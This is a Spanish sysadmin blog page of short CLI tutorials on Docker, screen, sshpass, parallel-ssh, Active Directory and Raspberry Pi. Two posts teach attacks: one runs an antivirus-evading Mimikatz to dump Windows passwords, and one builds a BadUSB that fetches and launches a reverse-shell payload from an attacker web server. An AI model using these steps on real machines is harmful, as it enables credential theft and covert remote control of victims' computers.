Mostrando entradas con la etiqueta CLI. Mostrar todas las entradas
Mostrando entradas con la etiqueta CLI. Mostrar todas las entradas

miércoles, 16 de noviembre de 2022


Instalamos screen (si no esta en redhat hay que instalar epel antes):

yum install screen 

Listamos sesiones (no aparece ninguna activa):

screen -list

No Sockets found in /var/run/screen/S-root.

Activamos una nueva sesion con el comando screen:

screen

Ejecutamos el comando interactivo deseado: (un top, un ping o algo similar)

top

Para desatachar:

Cierro la ventana de la cruz del moba ó ctrl+a+d

Vuelvo a conetar por ssh al moba

Listamos sesiones (ahora vemos la sesion que dejamos activa, pero desatachada):

screen -list

There is a screen on:

        4716.pts-8.viya-service (Detached)

1 Socket in /var/run/screen/S-root.

Recupero la sesión que estaba desatachada (la que perdí por desconexión o por desatacharla con ctrl+a+d) con el comando -r y el id de sesión obtenido en el comando anterior:

screen -r 4716.pts-8.viya-service

Y si quiero salir le doy exit estando logueado en la sesion recuperada con el -r 

exit

miércoles, 29 de mayo de 2019

Docker en Debian 9 Stretch



Docker:

Docker es un proyecto de código abierto con el cuál podemos crear contenedores.

Un contenedor es un prisma rectangular de gran tamaño que suelen utilizar los barcos para transportar mercaderías y suele tener dentro distintos tipos de productos. Docker vendría a ser como el transportador de esos containers, es decir el barco.

Llevado a la informática se utiliza para que aplicaciones de software puedan ejecutarse en cualquier máquina, independizandose del sistema operativo.

Es una especie de empaquetado de sofware que se puede llevar de un lado a otro.

Docker permite meter todo lo que se necesite para que una aplicación funcione y se ejecute correctamente.
Por ejemplo debe contener algo como: java, tomcat, nginx, la aplicación en si misma, librerias, binarios y todo lo que necesite para funcionar.

Si llevo ese contenedor a otro servidor donde esté docker instalado debería funcionar correctamente.


Docker Hub:

Es un repositorio donde los usuarios de docker y los partners crean, testean, guardan y distribuyen imagenes de contenedores.

Es un lugar de donde me puedo bajar contenedores ya armados y listos para usar. Por ejemplo un debian oficial, un linux customizado, un ubuntu con paquetes ya instalados, un webserver ya listo para usarse, etc.


Docker Files:

Se pueden crear imágenes a partir de un archivo llamado Dockerfile.


Instalando docker:
apt-get install apt-transport-https ca-certificates curl gnupg2 software-properties-common
curl -fsSL https://download.docker.com/linux/debian/gpg | sudo apt-key add -
add-apt-repository "deb [arch=amd64] https://download.docker.com/linux/debian stretch stable"
apt-get update
apt-get install docker-ce 


Verificamos que Docker se este ejecutando:
/etc/init.d/docker status




Vemos todas las imágenes de debian en dockerhub:
docker search debian



Si quiero descargar una imagen utilizo el docker pull:
docker pull debian



Para ver las imagenes que tengo ya descargadas:
docker images



Ver contenedores ejecutando:

No tenemos contenedores corriendo, por ahora solo lo descargamos.

docker ps



Ejecutar un contenedor:

Utilizaremos la imagen de debian oficial que bajamos anteriormente con el comando pull:

Utilizaremos losbparámetros -t de tty y el -i de interactivo y le decimos que ejecute un bash. Vemos como nos cambió el prompt:

docker run -t -i debian /bin/bash



Instalamos paquetes en el container:

Hacemos un update de los repositorios e instalamos nginx, wget y vim.

root@1363037a2fad:/# apt-get update && apt-get -y install wget vim nginx



Tener en cuenta que puedo salir del contenedor con exit ó Ctrl+d pero dejará de ejecutarse el contenedor.

Si quisiera volver a tener el mismo container corriendo tendría que volver a instalar todo lo que instalé antes ya que no guarde los cambios en una imagen.

Para guardar esos cambios en una imagen primero debo salir sin matar el contenedor, para eso ejecutamos Ctrl+p+q y veremos que vuelve el prompt.



Si ahora ejecutamos el comando docker ps veremos que sigue corriendo ese container:

docker ps



Crear una imagen:

Ahora voy a guardar la imagen modificada, pero con otro nombre.

Primero obtenemos el ID del contenedor en ejecución (f5b9be35915d) con el comando "docker ps".

Guardaremos los cambios en una nueva imagen llamada nginx-debian:1.0. Esto lo hacemos con "docker commit [id-del-contenedor] [nombre-nueva-imagen] por ejemplo:

docker commit f5b9be35915d nginx-debian:1.0



Verificamos la creacion de la imagen:

root@debian:~# docker images



Salimos de un contenedor sin que quede en ejecución:

Primero verificamos que no hay contenedor corriendo:

docker ps

Verificamos que imagenes podemos usar para crear un contenedor:

docker images 

Iniciar un contenedor interactivo con la imagen que guardamos previamente llamada nginx-debian versión 1.0:

docker run -it nginx-debian:1.0

Salimos del contenedor con exit ó con Ctrl+d:

root@8c80b4f2c09e:/# exit

Verificamos que el contenedor no está corriendo:

docker ps



Si quiero borrar una imagen hacemos lo siguiente:

Vemos las imágenes disponibles:

docker images

Eliminamos la imagen nginx-debian v1.0:

docker rmi -f nginx-debian:1.0

Volvemos a ver que fue eliminada:

docker images




Creando una imagen con Dockerfile:

Creamos la carpeta y archivo Cockerfile y lo editamos:
mkdir -p /var/Dockerfile/nginx
vi /var/Dockerfile/nginx/Dockerfile

Dentro ponemos lo siguiente, este archivo debería utilizar un contenedor debian, indica que Hernan es el que la mantiene, actualiza los repo, instala en nginx lo expone en el puerto 8888 e inicia el demonio del nginx:
FROM debian
MAINTAINER HERNAN
RUN apt-get update && apt-get install -y nginx && apt clean
EXPOSE 8888
RUN /etc/init.d/nginx start

Ejecutamos el build posicionandonos donde está el docker file:
cd /var/Dockerfile/nginx/
docker build . 



Verificamos las imagenes:

root@debian:~# docker images
REPOSITORY                           TAG                 IMAGE ID            CREATED             SIZE
debian-apache                        latest              af0593cb85eb        59 seconds ago      225MB
debian                               latest              8d31923452f8        3 weeks ago         101MB

Vemos que no hay nada corriendo, ejecutamos la imagen debian-apache y verificamos que ahora corre:

root@debian:~# docker ps
CONTAINER ID        IMAGE               COMMAND             CREATED             STATUS              PORTS               NAMES

root@debian:~#
root@debian:~# docker run -p 8181:80 debian-apache-bis /usr/sbin/apache2ctl -D FOREGROUND
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 172.17.0.2. Set the 'ServerName' directive globally to suppress this message



Si ingresamos a la ip del docker, no la del contenedor, deberíamos ingresar al puerto 8181 y nos reenviaría al apache 80 del contenedor:

http://debian:8181/


Matamos el contenedor que habia quedado corriendo:

root@debian:~# docker ps
CONTAINER ID        IMAGE               COMMAND                  CREATED                                                          STATUS              PORTS                          NAMES
68c121179ab3        debian-apache-bis   "/usr/sbin/apache2ct…"   12 minutes ago                                                   Up 12 minutes       81/tcp, 0.0.0.0:8181->80/tcp   vigorous_benz
root@debian:~# docker kill 68c121179ab3

lunes, 4 de febrero de 2019

Modificar Active Directory desde Linux

El siguiente script es utilizado para modificar la descripción de un usuario de Active Directory de Windows desde un Linux con el comando ldapmodify.

El script crea un archivo llamado entrymods con formato ldif para luego importarlo, finalmente lo borra.

Acá el script y luego lo explicaré linea por linea:

#!/bin/bash
if [ $# -ne 3 ]
then
       echo "Cantidad de parametros incorrecta"
       echo "Uso del Script: $0 [Apellido] [Nombre] [descripcion]"
       echo "Ejemplo: $0 Martinez Diego Mi_Descrip"
       exit
fi
if [ "$1" != "Cacheuta" -a "$1" != "Perez" -a "$1" != "Martinez" ]
then
 echo "Usuario Incorrecto, no tiene permisos o esta mal escrito: (Cacheuta, Perez ó Martinez)"
 exit
fi
rm -rf /tmp/entrymods
echo dn: CN=$1 $2,OU=Sistemas,OU=Users,OU=España,OU=Europa,DC=redes,DC=seguridad,DC=com >> /tmp/entrymods
echo changetype: modify >> /tmp/entrymods
echo replace: description >> /tmp/entrymods
echo description: $3 >> /tmp/entrymods
ldapmodify -h mi_domain_controller -D "mi_user@redes.seguridad.com" -w "Clave_de_mi_user" -f /tmp/entrymods
rm -rf /tmp/entrymods

Explicación del script:

 El primer if testea si la cantidad de parámetros que recibe el script es igual a 3. Se debe enviar como parámetro el Apellido, Nombre y la Descripción que querémos que le ponga al usuario con el Apellido indicado.

El segundo if verifica si los usuarios a modificar corresponde con alguno de esos 3, es decir sólo a estos 3 usuarios podré modificar su descripción: Cacheuta, Perez y Martinez.

Luego borro el temporal de ldif en caso que exista, a continuación creo uno nuevo, donde le especifico la Unidad Organizativa donde están dichos usuarios a modificar, le especifico que voy a modificar y lo que voy a reemplazar es la descripción del usuario.

Ejecuto el ldapmodify específicandole el nombre ó la ip del domain controller, un usuario con permisos para modificar el Active Directory, la password del usuario para modificar el AD y el archivo LDIF generado previamente.

Al final vuelvo a borrar el archivo temporal.

Le damos permisos al script para que cualquiera pueda ejecutar:

# chmod a+x /ruta/del/script/modifica_descripcion.sh

Ejecutamos el script pasandoles los parámetros:


/ruta/del/script/modifica_descripcion.sh Cacheuta Diego Administracion

Agregamos al webmin para que pueda ejecutarlo el usuario deseado:

http://redes-seguridad.blogspot.com/2012/11/permisos-script-en-webmin.html

viernes, 18 de enero de 2019

Instalar PowerShell en Linux



Vamos a instalar PowerShell Core en Linux, esto fué probado en un Debian 9

Primero descargamos el tar.gz:
root@debian:~# curl -L -o /tmp/powershell.tar.gz https://github.com/PowerShell/PowerShell/releases/download/v6.1.0/powershell-6.1.0-linux-x64.tar.gz

Creamos la carpeta donde lo almacenaremos:
root@debian:~# mkdir -p /opt/microsoft/powershell/6.1.0

Descomprimimos:
root@debian:~# tar zxf /tmp/powershell.tar.gz -C /opt/microsoft/powershell/6.1.0

Damos permisos de ejecución:
root@debian:~# chmod +x /opt/microsoft/powershell/6.1.0/pwsh

Creamos en enlace simbólico:
root@debian:~# ln -s /opt/microsoft/powershell/6.1.0/pwsh /usr/bin/pwsh

FUENTE: https://docs.microsoft.com/en-us/powershell/scripting/install/installing-powershell-core-on-linux?view=powershell-6

miércoles, 2 de enero de 2019

Conectar con SSH sin clave pública/privada - SSHpass


Qué es SSHpass:

     Cuando utilizamos SSH para conectarnos de un servidor a otro utilizamos un usuario y una contraseña.
   
     Usualmente podemos generar un par de claves pública y privada para que no nos solicite la contraseña. En el caso que no deseemos utilizar estas claves podremos utilizar el SSHPASS que nos servirá para pasar la contraseña por parámetro.

     Esta herramienta podemos utilizarla por ejemplo para poner dentro de scripts sin que tener que configurar las keys SSH.

     También explicaré como utilizar GPG para encriptar la clave y que no quede en texto plano en un archivo.

Instalar el sshpass:
root@debian:~# apt-get install sshpass

Ingresar pasando el password sin tener keys ssh:
root@debian:~# sshpass -p 'Mi_password' ssh 192.168.0.200

Poner la clave dentro de un archivo:
root@debian:~# echo 'Mi_password' > pass.txt
root@debian:~# sshpass -f pass.txt ssh 192.168.0.200

Tener en cuenta para darle permisos de lectura solo al owner, para que nadie más pueda leer la clave.
root@debian:~# chmod 0400 pass.txt

Encriptar el archivo de contraseña con gpg:
root@debian:~# gpg -c pass.txt

Ingresamos una passphrase que nos solicita y la confirmamos. Esto nos genera un archivo .gpg

root@debian:~# ls -lat pass.txt.gpg
-rw-r--r-- 1 root root 94 ene  2 11:15 pass.txt.gpg

Eliminamos el que no está encriptado:

root@debian:~# rm -rf pass.txt

Usamos el sshpass con la clave encriptada:
root@debian:~# gpg -d -q pass.txt.gpg > pass.txt; sshpass -f pass.txt ssh 192.168.0.200; rm pass.txt

viernes, 28 de diciembre de 2018

Parallel SSH - Ejecutar comandos remotos en multiples servidores

Todos sabemos que es SSH y que podemos hacer con él, pero hoy vamos a ver Parallel SSH.

Que es Parallel SSH:

Es un comando ó herramienta que nos permite conectarnos a varios servidores simultáneamente mediante SSH y poder ejecutar comandos sin ingresar uno por uno para ejecutarlos.

Instalamos el parallel-ssh:
root@debian:~# apt-get install pssh

Vemos como usarlo: 
root@debian:~# parallel-ssh --help
Usage: parallel-ssh [OPTIONS] command [...]
Options:
  --version             show program's version number and exit
  --help                show this help message and exit
  -h HOST_FILE, --hosts=HOST_FILE
                        hosts file (each line "[user@]host[:port]")
  -H HOST_STRING, --host=HOST_STRING
                        additional host entries ("[user@]host[:port]")
  -l USER, --user=USER  username (OPTIONAL)
  -p PAR, --par=PAR     max number of parallel threads (OPTIONAL)
  -o OUTDIR, --outdir=OUTDIR
                        output directory for stdout files (OPTIONAL)
  -e ERRDIR, --errdir=ERRDIR
                        output directory for stderr files (OPTIONAL)
  -t TIMEOUT, --timeout=TIMEOUT
                        timeout (secs) (0 = no timeout) per host (OPTIONAL)
  -O OPTION, --option=OPTION
                        SSH option (OPTIONAL)
  -v, --verbose         turn on warning and diagnostic messages (OPTIONAL)
  -A, --askpass         Ask for a password (OPTIONAL)
  -x ARGS, --extra-args=ARGS
                        Extra command-line arguments, with processing for
                        spaces, quotes, and backslashes
  -X ARG, --extra-arg=ARG
                        Extra command-line argument
  -i, --inline          inline aggregated output and error for each server
  --inline-stdout       inline standard output for each server
  -I, --send-input      read from standard input and send as input to ssh
  -P, --print           print output as we get it
Example: pssh -h hosts.txt -l irb2 -o /tmp/foo uptime


Editamos el archivo donde pondremos ip's de los servidores donde ejecutaremos los comandos:
root@debian:~# vi hosts.txt
192.168.0.100
192.168.0.200

Ejecutamos el comando en ambos servidores:
root@debian:~# parallel-ssh -h hosts.txt -l root -o /tmp/salida uptime
[1] 09:52:12 [SUCCESS] 192.168.0.100
[2] 09:52:12 [SUCCESS] 192.168.0.200 

-h listado de servidores donde ejecutaremos los comandos
-l usuario con el que se conectará por ssh. Tener en cuenta que debe tener configuradas las keys ssh para que no pida password.
-o directorio de salida donde mostrará la salida de cada comando
uptime el comando que ejecutará en cada servidor remoto


Vemos la salida de cada ip en la ruta que le pasamos con el -o: 
root@debian:~# ls -lat /tmp/salida.txt/
total 1930
drwxrwxrwt 7 root root 1971200 Dec 28 09:55 ..
-rw-r--r-- 1 root root      74 Dec 28 09:52 192.168.0.100
-rw-r--r-- 1 root root      73 Dec 28 09:52 192.168.0.200
drwxr-xr-x 2 root root    1024 Dec 28 09:51 .

Vemos el resultado de cada server:
root@debian:~# cat /tmp/salida.txt/192.168.0.100
  9:52am  up 100 day(s), 16:24,  9 users,  load average: 0.06, 0.07, 0.06 
root@debian:~# cat /tmp/salida.txt/192.168.0.200
  9:52am  up 85 day(s), 17:12,  0 users,  load average: 0.11, 0.18, 0.19

En caso que no tengamos las keys ssh podremos ingresar el password:

root@debian:~# parallel-ssh -h hosts.txt -A -O PreferredAuthentications=password uptime
Warning: do not enter your password if anyone else has superuser
privileges or access to your account.
Password: acáVaLaClaveDeRoot
[1] 12:08:27 [SUCCESS] 192.168.0.100
[2] 12:08:27 [SUCCESS] 192.168.0.200



jueves, 15 de marzo de 2018

Monitorear si una maquina virtual tiene snapshots en VMware ESXi



Este script corre con el usuario nagios, el ESXServer lo cambian por el hostname de su ESX ó por la ip del mismo, Storage-01 es el nombre del datastore del vmware en mis servidores.

Va a llegar una alarma de nagios en caso que exista alguna virtual con al menos un snapshot en cualquier máquina virtual.

Script: /usr/local/apps/nagios/libexec/check_VM_snapshots


 # Autor Hernan Tirado
 # blog: redes-seguridad.blogspot.com
 # Creado el: 15-03-2018
 #
 # Uso: /usr/local/apps/nagios/libexec/check_VM_snapshots

CANT_SNAP=`ssh root@ESXserver-x ls -latR /vmfs/volumes/Storage-01/|grep -i snap |awk '{ print $6" "$7" "$9}'|sort|uniq|wc -l`

if [ $CANT_SNAP = 0 ];then
 echo "OK - Virtuales SIN Snapshots en Storage-01."
 exit 0
else
 echo "CRITICAL - Virtuales con Snapshots en Storage-01: $CANT_SNAP"
 ssh root@ESXserver -x ls -latR /vmfs/volumes/Storage-01/|grep -i snap |awk '{ print $6" "$7" "$9}'|sort|uniq
 exit 2
fi

fi
Tener en cuenta que tiene que tener habilitado el SSH en el server ESXi y también copiar la key de nagios en el autorized_key del server ESX.

miércoles, 13 de septiembre de 2017

Ver memoria instalada Storage IBM Storewize 3700

Como no encontré por ningún lado en la interfaz gráfica, les dejo el comando para ver la memoria instalada en cada canister del Storage.

Les dejo sólo el del canister 2, para el uno sólo deben reemplazar el 2 por el uno luego de la coma:

IBM_Storwize:ARG1STO01:superuser>lsnodecanisterhw -delim , 2
id,2
name,node2
status,online
IO_group_id,0
IO_group_name,io_grp0
hardware,TB4
actual_different,no
actual_valid,yes
memory_configured,4
memory_actual,4
memory_valid,yes
cpu_count,1          
cpu_socket,1
cpu_configured,2 core Intel(R) Celeron(R) CPU G530T @ 2.00GHz
cpu_actual,2 core Intel(R) Celeron(R) CPU G530T @ 2.00GHz
cpu_valid,yes
adapter_count,5
adapter_location,0
adapter_configured,6Gb/s SAS adapter
adapter_actual,6Gb/s SAS adapter
adapter_valid,yes
adapter_location,0
adapter_configured,Midplane bus adapter
adapter_actual,Midplane bus adapter
adapter_valid,yes
adapter_location,0
adapter_configured,1Gb/s Ethernet adapter
adapter_actual,1Gb/s Ethernet adapter
adapter_valid,yes
adapter_location,0
adapter_configured,1Gb/s Ethernet adapter
adapter_actual,1Gb/s Ethernet adapter
adapter_valid,yes
adapter_location,1
adapter_configured,Four port 8Gb/s FC adapter
adapter_actual,Four port 8Gb/s FC adapter
adapter_valid,yes
ports_different,no
IBM_Storwize:ARG1STO01:superuser>

viernes, 1 de septiembre de 2017

Lector de Tarjetas RFID-RC522 en Raspberry Pi B+


Les dejo un extracto de wikipedia de lo que es RFID:
RFID o identificación por radiofrecuencia (del inglés Radio Frequency Identification) es un sistema de almacenamiento y recuperación de datos remoto que usa dispositivos denominados etiquetas, tarjetas o transpondedores RFID. El propósito fundamental de la tecnología RFID es transmitir la identidad de un objeto (similar a un número de serie único) mediante ondas de radio. Las tecnologías RFID se agrupan dentro de las denominadas Auto ID (automatic identification, o identificación automática).
Las etiquetas RFID (RFID tag en inglés) son unos dispositivos pequeños, similares a una pegatina, que pueden ser adheridas o incorporadas a un producto, un animal o una persona. Contienen antenas para permitirles recibir y responder a peticiones por radiofrecuencia desde un emisor-receptor RFID. Las etiquetas pasivas no necesitan alimentación eléctrica interna, mientras que las activas sí lo requieren. Una de las ventajas del uso de radiofrecuencia (en lugar, por ejemplo, de infrarrojos) es que no se requiere visión directa entre emisor y receptor.


Primero conectamos el RFID-RC522 a los pines GPIO de la Raspberry pi:

3.3v   al PIN-1   (el que se identifica en la placa con P1 en la imagen el de arriba a la izquierda)
RST   al PIN 22 (GPIO25 verde)
GND  al PIN 6   (GND negro)
MISO al PIN 21 (GPIO 9 verde)
SCK   al PIN 23 (GPIO 11 verde)
SDA   al PIN 24 (GPIO 8 verde)
IRQ no lo utilizamos


Les dejo la imagen de la raspberry que utilicé y sus pines GPIO:


Habilitamos el SPI:
pi@raspberrypi:~ $ sudo raspi-config






Reiniciamos la raspberry:
sudo reboot


Verificamos que haya cargado el spi:
pi@raspberrypi:~ $ lsmod |grep spi


Instalamos ó verificamos que tengamos python instalado:
pi@raspberrypi:~ $ sudo apt-get install python2.7-dev



Descargamos SPI-Py con git y lo instalamos:

pi@raspberrypi:~ $ git clone https://github.com/lthiery/SPI-Py.git
pi@raspberrypi:~ $ cd SPI-Py 
pi@raspberrypi:~ $  sudo python setup.py install



Instalamos MFRC522-python y ejecutamos el Read.py, probar leer la tarjeta y el llavero:

Les dejo un video usandolo:



Fuentes: 

https://es.wikipedia.org/wiki/RFID
https://github.com/lthiery/SPI-Py/
https://github.com/mxgxw/MFRC522-python

martes, 29 de agosto de 2017

Ver versión y revisión de raspberry pi

Ejecutamos lo siguiente: 

cat /proc/cpuinfo |grep Revision

Vemos que devuelve:

Revision  : 000f

Según esta tablita deducimos el valor:

'0002' => 'Model B Revision 1.0',
'0003' => 'Model B Revision 1.0 + Fuses mod and D14 removed',
'0004' => 'Model B Revision 2.0 256MB', (Sony)
'0005' => 'Model B Revision 2.0 256MB', (Qisda)
'0006' => 'Model B Revision 2.0 256MB', (Egoman)
'0007' => 'Model A Revision 2.0 256MB', (Egoman)
'0008' => 'Model A Revision 2.0 256MB', (Sony)
'0009' => 'Model A Revision 2.0 256MB', (Qisda)
'000d' => 'Model B Revision 2.0 512MB', (Egoman)
'000e' => 'Model B Revision 2.0 512MB', (Sony)
'000f' => 'Model B Revision 2.0 512MB', (Qisda)


lunes, 14 de agosto de 2017

Mimikatz Indetectable

Leí por ahí lo fácil que era usar Mimikatz, pero era detectado por cualquier antivirus. Buscando un poco me topé con que hay una versión en Java Script que es indetectable. 

Descargamos el katz.js del siguiente enlace:
https://gist.github.com/subTee/b30e0bcc7645c790fcd993cfd0ad622f/archive/2adcc9d2570b4367c6cc405e5a5969863d04fc9b.zip

Lo ejecutamos simplemente con el siguiente comando y esperamos unos minutos:

c:\> cscript katz.js



Finalmente ejecutamos estos dos comandos:

privilege::debug
sekurlsa::logonpasswords

Y obtendremos los usuarios, el dominio y sus contraseñas:



FUENTE: https://github.com/gentilkiwi/mimikatz

lunes, 7 de agosto de 2017

Shell Reversa con Bad USB Casero a Bajo Costo


Nos descargamos el IDE de Arduino de la siguiente página: 

https://www.arduino.cc/en/Main/Donate



Lo instalamos y damos todas las opciones siguiente -> siguiente por defecto:




Si nos pide instalar algo como esto, le damos confiar siempre e instalar:




Abrimos el Arduino y vamos a Archivo -> Preferencias:



Colocamos en Tarjetas adicionales lo siguiente:
http://digistump.com/package_digistump_index.json y damos ok:



Clickeamos en Herramientas -> Placa: "Arduino/Genuino Uno" -> "Gestor de tarjetas ..."



Seleccionamos "Digistump AVR Boards by Digistump" -> Instalar
Esperamos que instale -> Cerrar:




Nuevamente vamos al mismo menú -> Herramientas -> Placa -> "Digispark (Default - 16.5mhz)":



Descargamos el Digistump Drivers desde: https://github.com/digistump/DigistumpArduino/releases



Descomprimimos y ejecutamos el siguiente archivo:



Abrimos el IDE de Arduino y vamos a > Archivo > Ejemplos > DigisparkKeyboard > Keyboard



Vamos luego a > Herramientas > Programador: "USBtinyISP" > USBtinyISP



Descargamos el .ino que hice para tipear automáticamente de la siguiente url: https://github.com/tirher/Arduino



Borramos lo que teníamos previamente en el IDE de Arduino y pegamos lo que descargamos del link anterior, debería quedar así:



Hacemos click en el tilde de arriba a la izquierda como indica en la imagen y luego veremos algo como muestra debajo de la flecha:



Luego seleccionamos la flecha que indica a la derecha y vemos abajo de todo en la ventana negra que nos indica cuando ingresar el USB Atiny85. Cuando aparece "Plug in device now ..." lo conectamos:



Cuando indique "100 % complete" lo desconectamos y ya tenemos el bad usb listo:



En el post previo mostré como utlizar avoid para hacer una shell reversa: http://redes-seguridad.blogspot.com.ar/2017/07/reverse-shell-indetectable-por-sophos.html ahora la voy a publicar en un webserver para poder descargarla u ejecutarla directamente del usb.

Iniciamos en el kali el apache2 y copiamos el py.exe en la ruta /var/www/html y verificamos que lo pueda acceder por una web:



Luego ejecutamos el siguiente comando, si ó si tiene que ser desde el terminal dentro del entorno gráfico, sino no funcionará:

root@kali:~/Desktop/avoidz# ./avoidz.rb -h 192.168.1.43 -f py

Cuando nos pregunte: "Whould you like to start a listener? (Y/n)" le indicamos que si y vemos como se abre solo el msfconsole y queda a la escucha esperando:



Conectamos el Bad USB en el windows y veremos que descargará el py.exe desde nuestro webserver y lo ejecutará:



Luego de unos segundos veremos la conexión reversa desde el windows al kali linux:



Vemos las sesiones abiertas y nos conectamos: